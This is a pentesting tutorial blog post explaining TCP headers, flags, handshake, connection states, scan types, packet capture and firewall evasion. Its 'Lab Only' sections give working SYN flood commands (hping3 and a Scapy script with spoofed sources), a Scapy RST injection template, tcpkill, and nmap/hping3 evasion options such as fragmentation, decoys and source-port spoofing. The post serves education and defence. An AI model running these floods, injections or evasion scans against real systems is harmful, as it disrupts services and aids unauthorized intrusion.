Skip to content
SecureKhan
Go back

TCP/IP Deep Dive for Pentesters: Flags, Attacks & Analysis

TCP/IP Deep Dive for Pentesters

TL;DR: TCP provides reliable, ordered data delivery over IP. Understanding TCP internals (flags, sequence numbers, states) is essential for scanning, session hijacking, firewall evasion, and network attacks.


Table of Contents

Open Table of Contents

Quick Reference

TCP Flags

FlagNameBinaryUse
SYNSynchronize0x02Initiate connection
ACKAcknowledgment0x10Confirm receipt
FINFinish0x01Close connection
RSTReset0x04Abort connection
PSHPush0x08Send immediately
URGUrgent0x20Urgent data
ECEECN-Echo0x40Congestion notification
CWRCongestion Window Reduced0x80Response to ECE

Essential Commands

CommandPurposeExample
tcpdumpCapture packetstcpdump -i eth0 tcp
wiresharkGUI packet analysiswireshark
nmapPort scanningnmap -sS target
hping3Packet craftinghping3 -S target -p 80
netcatTCP connectionsnc -v target 80
ssSocket statisticsss -tuln

Common TCP Ports

PortServiceNotes
20/21FTPFile transfer
22SSHSecure shell
23TelnetUnencrypted
25SMTPEmail
80HTTPWeb
443HTTPSEncrypted web
445SMBFile sharing
3389RDPRemote desktop

Why TCP Matters for Pentesters

TCP Knowledge Enables

CapabilityHow TCP Knowledge Helps
Port ScanningUnderstand scan types (SYN, Connect, FIN)
Session HijackingPredict sequence numbers
DoS AttacksSYN floods, RST attacks
Firewall EvasionFragment packets, unusual flags
IDS EvasionOverlapping fragments, TTL tricks
Packet AnalysisIdentify anomalies in captures

Real-World TCP Attacks

AttackTechniqueImpact
Mitnick Attack (1994)TCP sequence predictionSystem compromise
SYN FloodResource exhaustionDoS
BGP HijackingTCP session injectionTraffic interception
Off-path attacksBlind TCP injectionConnection reset

TCP vs UDP

TL;DR: TCP = reliable, ordered, connection-oriented. UDP = fast, no guarantees, connectionless.

Comparison

FeatureTCPUDP
ConnectionConnection-orientedConnectionless
ReliabilityGuaranteed deliveryBest effort
OrderingMaintains orderNo ordering
Error checkingYes (retransmission)Basic (checksum)
Flow controlYes (window)No
SpeedSlowerFaster
Header size20-60 bytes8 bytes
Use casesHTTP, SSH, FTPDNS, DHCP, VoIP

When Each Is Used

TCP (Reliable):
├── Web browsing (HTTP/HTTPS)
├── Email (SMTP, IMAP, POP3)
├── File transfer (FTP, SFTP)
├── Remote access (SSH, RDP)
└── Database connections

UDP (Fast):
├── DNS queries
├── DHCP
├── Video streaming
├── VoIP
├── Gaming
└── NTP

The TCP Header

TL;DR: The TCP header contains all control information: ports, sequence numbers, flags, window size, and checksums.

TCP Header Structure (20 bytes minimum)

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Sequence Number                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Acknowledgment Number                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Data |       |C|E|U|A|P|R|S|F|                               |
| Offset| Rsrvd |W|C|R|C|S|S|Y|I|            Window             |
|       |       |R|E|G|K|H|T|N|N|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Checksum            |         Urgent Pointer        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options (if Data Offset > 5)               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             Data                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Header Fields Explained

FieldSizePurposePentester Interest
Source Port16 bitsSender’s portIdentify application
Dest Port16 bitsReceiver’s portTarget service
Sequence #32 bitsByte positionSession hijacking
Ack #32 bitsNext expected byteSession hijacking
Data Offset4 bitsHeader lengthOptions detection
Flags8 bitsControl flagsScan types, attacks
Window16 bitsBuffer sizeFlow control abuse
Checksum16 bitsError detectionBypass with crafted packets
Urgent Ptr16 bitsUrgent data locationRarely used
OptionsVariableMSS, timestamps, etc.Fingerprinting

TCP Flags Explained

TL;DR: TCP flags control the state and behavior of connections. Understanding flags is crucial for scanning and attacks.

Flag Details

┌───────────────────────────────────────────────────────────────┐
│                        TCP Flags                               │
├─────────┬───────────────────────────────────────────────────────┤
│   SYN   │ "I want to start a connection"                       │
│         │ Sets initial sequence number                          │
│         │ Only in first packet of handshake                     │
├─────────┼───────────────────────────────────────────────────────┤
│   ACK   │ "I acknowledge your data"                            │
│         │ Present in all packets after SYN                      │
│         │ Acknowledgment number is valid                        │
├─────────┼───────────────────────────────────────────────────────┤
│   FIN   │ "I'm done sending"                                   │
│         │ Graceful connection close                             │
│         │ Still receives data until other side FINs            │
├─────────┼───────────────────────────────────────────────────────┤
│   RST   │ "Something is wrong, abort immediately"              │
│         │ No graceful close                                     │
│         │ No further communication                              │
├─────────┼───────────────────────────────────────────────────────┤
│   PSH   │ "Send this data immediately"                         │
│         │ Don't wait for buffer to fill                         │
│         │ Application wants data now                            │
├─────────┼───────────────────────────────────────────────────────┤
│   URG   │ "There's urgent data"                                │
│         │ Urgent pointer is valid                               │
│         │ Rarely used in practice                               │
└─────────┴───────────────────────────────────────────────────────┘

Common Flag Combinations

FlagsNamePurpose
SYNSYN packetConnection request
SYN+ACKSYN-ACKConnection accepted
ACKACK packetNormal data transfer
FIN+ACKFIN-ACKClose request
RSTResetAbort connection
RST+ACKReset-ACKReject connection
PSH+ACKPush-ACKImmediate data delivery
(none)NULLScanning technique
FIN+PSH+URGXMASScanning technique

Flags in Wireshark Display Filter

# Filter by specific flags
tcp.flags.syn == 1
tcp.flags.ack == 1
tcp.flags.fin == 1
tcp.flags.reset == 1

# SYN packets only (no ACK)
tcp.flags.syn == 1 && tcp.flags.ack == 0

# RST packets
tcp.flags.reset == 1

# XMAS scan packets
tcp.flags.fin == 1 && tcp.flags.push == 1 && tcp.flags.urg == 1

The Three-Way Handshake

TL;DR: TCP connections start with SYN → SYN-ACK → ACK. Understanding this is fundamental for scanning and attacks.

Handshake Process

   Client                                          Server
     │                                               │
     │                                               │
     │  ─────────────── SYN ──────────────────────►  │
     │     Seq=100, Ack=0, Flags=SYN                 │
     │     "I want to connect"                       │
     │                                               │
     │  ◄─────────── SYN-ACK ─────────────────────  │
     │     Seq=300, Ack=101, Flags=SYN+ACK          │
     │     "OK, I acknowledge. Here's my seq#"       │
     │                                               │
     │  ─────────────── ACK ──────────────────────►  │
     │     Seq=101, Ack=301, Flags=ACK              │
     │     "Connection established"                  │
     │                                               │
     │  ═══════════ DATA TRANSFER ═════════════════ │
     │                                               │

Sequence Number Evolution

Step 1 - Client SYN:
  Client Seq = 100 (random initial)

Step 2 - Server SYN-ACK:
  Server Seq = 300 (random initial)
  Server Ack = 101 (Client Seq + 1)

Step 3 - Client ACK:
  Client Seq = 101 (unchanged)
  Client Ack = 301 (Server Seq + 1)

Connection Established:
  Client → Server: Seq starts at 101
  Server → Client: Seq starts at 301

Why Random Sequence Numbers?

ReasonExplanation
SecurityPrevent sequence prediction attacks
UniquenessAvoid confusion with old connections
Hijacking preventionAttacker can’t guess sequence

Historical vulnerability: Before random ISNs, attackers could predict sequence numbers (Mitnick attack, 1994).


Sequence and Acknowledgment Numbers

TL;DR: Sequence numbers track bytes sent. Acknowledgment numbers confirm bytes received. Both are essential for session hijacking.

How They Work

Example data transfer:

Client sends 100 bytes:
  Seq=1000, Data=100 bytes
  "Here are bytes 1000-1099"

Server acknowledges:
  Ack=1100
  "I received up to byte 1099, send 1100 next"

Client sends 50 more bytes:
  Seq=1100, Data=50 bytes
  "Here are bytes 1100-1149"

Server acknowledges:
  Ack=1150
  "I received up to byte 1149, send 1150 next"

Visualized

            ┌──────────────────────────────────────┐
            │           Byte Stream                 │
            └──────────────────────────────────────┘
Byte:       1000  1050  1100  1150  1200  1250  1300
              │     │     │     │     │     │     │
              │◄──Sent──►│◄──Sent──►│◄─Pending─►│
              │  Packet1  │  Packet2  │  Not sent  │
              │           │           │            │
         Seq=1000     Seq=1100
         Len=100      Len=50
              │           │
              └─── Ack=1100 (acknowledges Packet1)

                          └─── Ack=1150 (acknowledges Packet2)

Pentester Use: Session Hijacking

To inject packets into an existing TCP session:

  1. Sniff the connection to observe current Seq/Ack
  2. Craft packet with correct Seq number
  3. Send before legitimate packet arrives
AttackDetectDefend
Sequence predictionMonitor for blind injectionsRandom ISNs
Session hijackingDetect duplicate AcksEncrypted sessions (TLS)
RST injectionTrack connection statesTCP timestamps

TCP Connection States

TL;DR: TCP connections move through states (LISTEN, ESTABLISHED, etc.). Understanding states helps identify connection issues and attack opportunities.

State Diagram

                              ┌─────────────┐
                              │   CLOSED    │
                              └──────┬──────┘

           ┌─────────────────────────┴─────────────────────────┐
           │ Passive Open                      Active Open     │
           │ (Server)                          (Client)        │
           ▼                                                   ▼
    ┌─────────────┐                                    ┌─────────────┐
    │   LISTEN    │                                    │  SYN_SENT   │
    └──────┬──────┘                                    └──────┬──────┘
           │ Receive SYN                                      │
           │ Send SYN-ACK                                     │ Receive SYN-ACK
           ▼                                                   │ Send ACK
    ┌─────────────┐                                           │
    │ SYN_RCVD    │──────────────────────────────────────────►│
    └──────┬──────┘ Receive ACK                               │
           │                                                   │
           └───────────────────────┬───────────────────────────┘


                            ┌─────────────┐
                            │ ESTABLISHED │ ← Data Transfer
                            └──────┬──────┘

              ┌────────────────────┴────────────────────┐
              │ Close                                   │ Receive FIN
              │ (Active Close)                          │ (Passive Close)
              ▼                                         ▼
       ┌─────────────┐                          ┌─────────────┐
       │ FIN_WAIT_1  │                          │ CLOSE_WAIT  │
       └──────┬──────┘                          └──────┬──────┘
              │ Receive ACK                            │ Close
              ▼                                        │ Send FIN
       ┌─────────────┐                                 ▼
       │ FIN_WAIT_2  │                          ┌─────────────┐
       └──────┬──────┘                          │  LAST_ACK   │
              │ Receive FIN                     └──────┬──────┘
              │ Send ACK                               │ Receive ACK
              ▼                                        │
       ┌─────────────┐                                 │
       │ TIME_WAIT   │─────────────────────────────────┘
       └──────┬──────┘
              │ 2*MSL timeout

       ┌─────────────┐
       │   CLOSED    │
       └─────────────┘

Important States

StateMeaningPentester Note
LISTENServer waiting for connectionsOpen port
SYN_SENTClient sent SYN, awaiting SYN-ACKConnect scan in progress
SYN_RCVDServer received SYNHalf-open (SYN flood target)
ESTABLISHEDConnection activeData transfer possible
FIN_WAIT_1/2Closing initiatedConnection ending
TIME_WAITWaiting for delayed packetsPort temporarily unavailable
CLOSE_WAITRemote closed, local still openPossible resource leak

Viewing Connection States

Commands
# Linux - ss (recommended)
ss -tuln              # Listening sockets
ss -tuna              # All connections
ss -tuna state established  # Established only
ss -tuna state time-wait    # TIME_WAIT sockets

# Linux - netstat (legacy)
netstat -tuln         # Listening
netstat -tuna         # All

# Windows
netstat -an
netstat -an | findstr ESTABLISHED

# Count connections by state
ss -tuna | awk '{print $1}' | sort | uniq -c

# Watch for changes
watch -n 1 'ss -tuna | grep ESTAB'

TCP Attacks

1. SYN Flood (DoS)

Send many SYN packets without completing handshake, exhausting server resources.

Attacker                                           Victim Server
    │                                                    │
    │  ─────────── SYN (src=spoofed1) ─────────────────► │ SYN_RCVD
    │  ─────────── SYN (src=spoofed2) ─────────────────► │ SYN_RCVD
    │  ─────────── SYN (src=spoofed3) ─────────────────► │ SYN_RCVD
    │  ─────────── SYN (src=spoofed4) ─────────────────► │ SYN_RCVD
    │              ... thousands more ...                │
    │                                                    │
    │                           Server's SYN queue fills │
    │                           Legitimate connections   │
    │                           are dropped              │
AttackDetectDefend
SYN floodMonitor half-open connectionsSYN cookies
Spoofed source IPsDetect high SYN rateRate limiting
Distributed (DDoS)Traffic anomaly detectionAnycast, CDN
Testing Commands (Lab Only)
# Using hping3
hping3 -S --flood -V -p 80 target.com

# Using Scapy
python3 << 'EOF'
from scapy.all import *
target = "192.168.1.1"
for i in range(1000):
    ip = IP(src=RandIP(), dst=target)
    tcp = TCP(sport=RandShort(), dport=80, flags="S")
    send(ip/tcp, verbose=0)
EOF

# Detection
ss -tuna state syn-recv | wc -l
netstat -an | grep SYN_RECV | wc -l

2. TCP Reset Attack

Inject RST packet to terminate legitimate connections.

Client                     Attacker                     Server
   │                          │                            │
   │◄════════ ESTABLISHED ════════════════════════════════►│
   │          Seq=1000                                     │
   │                          │                            │
   │                          │ Sniff: Current Seq ~1000   │
   │                          │                            │
   │                    RST   │                            │
   │◄─────────────────────────│ Seq=1000 (guessed)        │
   │  Flags=RST               │                            │
   │                          │                            │
   │  Connection terminated!  │                            │
AttackDetectDefend
Inject RSTMonitor unexpected RSTsEncrypted (TLS)
BGP reset attacksTrack connection dropsTCP-AO authentication
DoS via RSTAnomaly detectionSequence validation
Testing Commands (Lab Only)
# Using hping3
hping3 -R -s 12345 -p 80 -M 1000 target.com

# Using Scapy
python3 << 'EOF'
from scapy.all import *
# Sniff to get current sequence
# Then inject RST
ip = IP(dst="target", src="spoofed_client")
tcp = TCP(sport=client_port, dport=80, flags="R", seq=current_seq)
send(ip/tcp)
EOF

# Using tcpkill (requires sniffing)
tcpkill -i eth0 host target.com and port 80

3. Session Hijacking

Predict or sniff sequence numbers to inject data into active session.

Client                     Attacker                     Server
   │                          │                            │
   │◄════════ ESTABLISHED ════════════════════════════════►│
   │          Seq=1000, Ack=5000                           │
   │                          │                            │
   │                          │ Sniff: Seq/Ack values      │
   │                          │                            │
   │                          │ ACK+PSH                    │
   │                          │────────────────────────────►│
   │                          │ Seq=1000, Ack=5000         │
   │                          │ Data="rm -rf /"            │
   │                          │                            │
   │                          │            Command executed│
AttackDetectDefend
Blind hijackingMonitor duplicate ACKsRandom ISN, TLS
MITM hijackingDetect ARP spoofingEnd-to-end encryption
Sequence predictionTrack connection anomaliesModern OS (random ISN)

4. TCP Connection Stealing

Desynchronize client-server sequence numbers, then inject traffic.

1. Attacker causes desynchronization
2. Client and server have different Seq/Ack expectations
3. Attacker bridges the gap
4. Attacker can inject/modify traffic

5. Denial of Service via Connection Exhaustion

Open many connections without sending data.

# Slowloris-style attack (keep connections open)
# Send partial HTTP requests, never complete them
# Each connection consumes server resources
AttackDetectDefend
SlowlorisMonitor slow connectionsConnection timeouts
Socket exhaustionTrack connection countConnection limits
RUDY (slow POST)Monitor request ratesRequest timeouts

Scanning with TCP

TL;DR: Different scan types use different TCP flags and behaviors to identify open ports.

Scan Types

Scannmap FlagHow It WorksStealthy?
SYN scan-sSSYN → SYN-ACK (open) or RST (closed)Yes
Connect scan-sTFull 3-way handshakeNo (logged)
FIN scan-sFFIN → no response (open) or RST (closed)Yes
NULL scan-sNNo flags → no response (open) or RST (closed)Yes
XMAS scan-sXFIN+PSH+URG → no response (open) or RSTYes
ACK scan-sAACK → RST (unfiltered) or no response (filtered)Firewall detection

Scan Responses

SYN Scan:

  Open Port:                    Closed Port:
  ┌────────┐     ┌────────┐     ┌────────┐     ┌────────┐
  │Scanner │     │ Target │     │Scanner │     │ Target │
  └───┬────┘     └───┬────┘     └───┬────┘     └───┬────┘
      │              │              │              │
      │──── SYN ────►│              │──── SYN ────►│
      │              │              │              │
      │◄── SYN-ACK ──│              │◄──── RST ────│
      │              │              │              │
      │──── RST ────►│          Port is closed     │
      │  (Abort)     │              │              │

FIN/NULL/XMAS Scan (RFC 793):

  Open Port:                    Closed Port:
  ┌────────┐     ┌────────┐     ┌────────┐     ┌────────┐
  │Scanner │     │ Target │     │Scanner │     │ Target │
  └───┬────┘     └───┬────┘     └───┬────┘     └───┬────┘
      │              │              │              │
      │── FIN/etc. ─►│              │── FIN/etc. ─►│
      │              │              │              │
      │  (silence)   │              │◄──── RST ────│
      │              │              │              │
      │ Open or      │          Port is closed     │
      │ Filtered     │              │              │

Practical Scanning

Scan Commands
# === nmap Scans ===

# SYN scan (most common, requires root)
sudo nmap -sS -p 1-1000 target.com

# Connect scan (no root needed)
nmap -sT -p 1-1000 target.com

# FIN scan
sudo nmap -sF target.com

# NULL scan
sudo nmap -sN target.com

# XMAS scan
sudo nmap -sX target.com

# ACK scan (firewall detection)
sudo nmap -sA target.com

# Window scan (variation of ACK)
sudo nmap -sW target.com

# === hping3 Scans ===

# SYN scan
hping3 -S -p 80 target.com

# FIN scan
hping3 -F -p 80 target.com

# XMAS scan
hping3 -FPU -p 80 target.com

# NULL scan
hping3 -p 80 target.com

# === Scan timing ===

# Slow (IDS evasion)
nmap -sS -T1 target.com

# Fast
nmap -sS -T4 target.com

# Aggressive
nmap -sS -T5 target.com

Packet Analysis

TL;DR: Capturing and analyzing TCP packets reveals connection patterns, anomalies, and potential attacks.

Wireshark TCP Analysis

Wireshark TCP Dissection:
┌─────────────────────────────────────────────────────────────────┐
│ Frame 1: TCP SYN                                                │
├─────────────────────────────────────────────────────────────────┤
│ Source Port: 54321                                              │
│ Destination Port: 80                                            │
│ Sequence Number: 1000 (relative: 0)                             │
│ Acknowledgment Number: 0                                        │
│ Flags: 0x002 (SYN)                                             │
│   .... ..0. .... = No Ack                                      │
│   .... ...0 .... = No Push                                     │
│   .... .... 0... = No Reset                                    │
│   .... .... .0.. = No Syn ... wait, 1! SYN                     │
│ Window: 65535                                                   │
│ Options: MSS=1460, SACK permitted, Timestamps                   │
└─────────────────────────────────────────────────────────────────┘

Useful Wireshark Filters

FilterPurpose
tcpAll TCP traffic
tcp.port == 80HTTP traffic
tcp.flags.syn == 1SYN packets
tcp.flags.syn == 1 && tcp.flags.ack == 0Initial SYNs
tcp.flags.reset == 1RST packets
tcp.analysis.retransmissionRetransmissions
tcp.analysis.duplicate_ackDuplicate ACKs
tcp.analysis.zero_windowWindow full
tcp.analysis.out_of_orderOut of order

tcpdump for TCP

tcpdump Commands
# Capture TCP on port 80
tcpdump -i eth0 tcp port 80

# Capture SYN packets only
tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0'

# Capture SYN but not SYN-ACK
tcpdump -i eth0 'tcp[tcpflags] & (tcp-syn|tcp-ack) == tcp-syn'

# Capture RST packets
tcpdump -i eth0 'tcp[tcpflags] & tcp-rst != 0'

# Capture FIN packets
tcpdump -i eth0 'tcp[tcpflags] & tcp-fin != 0'

# Show TCP flags
tcpdump -i eth0 tcp -vv

# Save to file
tcpdump -i eth0 tcp -w capture.pcap

# Read from file
tcpdump -r capture.pcap

# Show hex dump
tcpdump -i eth0 tcp -X

# Filter by host
tcpdump -i eth0 tcp and host 192.168.1.1

# Filter by port range
tcpdump -i eth0 tcp portrange 20-25

Identifying Anomalies

AnomalyIndicatorPossible Cause
High retransmissionstcp.analysis.retransmissionNetwork issues, attack
Many RST packetstcp.flags.reset == 1Port scan, RST attack
Half-open connectionsSYN without SYN-ACKSYN flood
Unusual flagsFIN without prior handshakeFIN/NULL/XMAS scan
Large window sizeWindow > normalPotential amplification
Out of order packetsSequence gapsNetwork issues or injection

Firewall Evasion

TL;DR: Firewalls filter based on ports, flags, and states. Evasion techniques exploit parsing differences.

Evasion Techniques

TechniqueHow It WorksUse
FragmentSplit packet across fragmentsBypass pattern matching
TTL manipulationPackets reach target but not IDSIDS in path
Bad checksumSome systems ignoreEvade inspection
Unusual flagsFIN without connectionBypass stateful FW
Source portUse trusted ports (53, 80)Bypass port filtering
DecoyMultiple source IPsHide attacker IP

Fragmentation

Normal Packet:
┌─────────────────────────────────────────┐
│ IP Header │ TCP Header │ Data           │
└─────────────────────────────────────────┘

Fragmented:
┌─────────────────┐  ┌─────────────────┐  ┌─────────────────┐
│ IP │ Part of TCP│  │ IP │ Rest of TCP │  │ IP │ Data      │
│    │ Header     │  │    │ + Flags     │  │    │           │
└─────────────────┘  └─────────────────┘  └─────────────────┘
       Fragment 1          Fragment 2          Fragment 3

Firewall sees incomplete TCP header in Fragment 1
May not be able to apply TCP rules
Evasion Commands
# === nmap Evasion ===

# Fragment packets
nmap -f target.com

# MTU (Maximum Transmission Unit)
nmap --mtu 24 target.com

# Decoy scan
nmap -D RND:10 target.com
nmap -D decoy1,decoy2,ME target.com

# Source port manipulation
nmap --source-port 53 target.com
nmap -g 53 target.com

# Randomize host order
nmap --randomize-hosts 192.168.1.0/24

# Timing (slow down)
nmap -T0 target.com  # Paranoid
nmap -T1 target.com  # Sneaky

# Bad checksum (testing)
nmap --badsum target.com

# === hping3 Evasion ===

# Fragment
hping3 -S -f -p 80 target.com

# TTL manipulation
hping3 -S -t 5 -p 80 target.com

# Spoof source port
hping3 -S -s 53 -p 80 target.com

Tools Reference

Packet Crafting

ToolPurposeInstall
hping3TCP/IP packet craftingapt install hping3
ScapyPython packet manipulationpip install scapy
npingnmap’s packet generatorapt install nmap
nemesisCommand-line packet craftapt install nemesis

Packet Analysis

ToolPurposeInstall
WiresharkGUI packet analyzerapt install wireshark
tcpdumpCLI packet captureapt install tcpdump
tsharkWireshark CLIapt install tshark
NetworkMinerForensic analyzerDownload

Connection Tools

ToolPurposeInstall
netcat (nc)TCP/UDP connectionsapt install netcat
ncatImproved netcatapt install nmap
socatAdvanced relayapt install socat

Practice Labs

Beginner

ResourceFocus
TryHackMe - Network FundamentalsTCP basics
HackTheBox AcademyPacket analysis
Wireshark tutorialTool usage

Intermediate

ResourceFocus
PentesterLabTCP attacks
CTF challengesPacket forensics
Home labAttack simulation

Home Lab Setup

# Set up packet capture environment
# 1. Install tools
apt install wireshark tcpdump nmap hping3 netcat

# 2. Create test environment with two VMs
# VM1: Target (open services)
# VM2: Attacker

# 3. Practice exercises:
# - Capture three-way handshake
# - Identify scan types in captures
# - Perform SYN scan and capture
# - Analyze retransmissions

# Sample capture exercise:
# Terminal 1: Start capture
tcpdump -i eth0 -w capture.pcap tcp port 80

# Terminal 2: Generate traffic
curl http://target.com

# Terminal 3: Analyze
wireshark capture.pcap

Glossary

TermDefinition
ACKAcknowledgment flag
ChecksumError detection value
FINFinish flag (close connection)
HandshakeConnection establishment
ISNInitial Sequence Number
MSSMaximum Segment Size
PSHPush flag (immediate delivery)
RSTReset flag (abort)
RTTRound Trip Time
SegmentTCP data unit
SEQSequence number
SYNSynchronize flag (initiate)
SYN-ACKSYN + ACK (accept connection)
TTLTime To Live
URGUrgent flag
WindowFlow control buffer size

What’s Next?

Now that you understand TCP/IP:

TopicDescriptionLink
ARP & Layer 2Link layer attacksComing Soon
Network FundamentalsBroader networkingNetwork Fundamentals
DNS Deep DiveApplication layerDNS Guide
Wireshark MasteryDeep packet analysisPractice Labs

Summary

TCP/IP knowledge is fundamental for penetration testing:

  1. TCP Header - Ports, sequence numbers, flags, window
  2. Three-Way Handshake - SYN → SYN-ACK → ACK
  3. Flags - SYN, ACK, FIN, RST, PSH, URG
  4. Attacks - SYN flood, RST injection, session hijacking
  5. Scanning - SYN, Connect, FIN, NULL, XMAS, ACK
  6. Analysis - Wireshark, tcpdump, identifying anomalies
  7. Evasion - Fragmentation, timing, source port, decoys

Key Skills:


Found this guide helpful? Check out the other posts in the SecureKhan penetration testing series.


Share this post on:

Previous Post
ARP & Layer 2 Attacks for Pentesters: MITM, Spoofing & Network Attacks
Next Post
How Email Works for Pentesters: SMTP, SPF, DKIM, DMARC Explained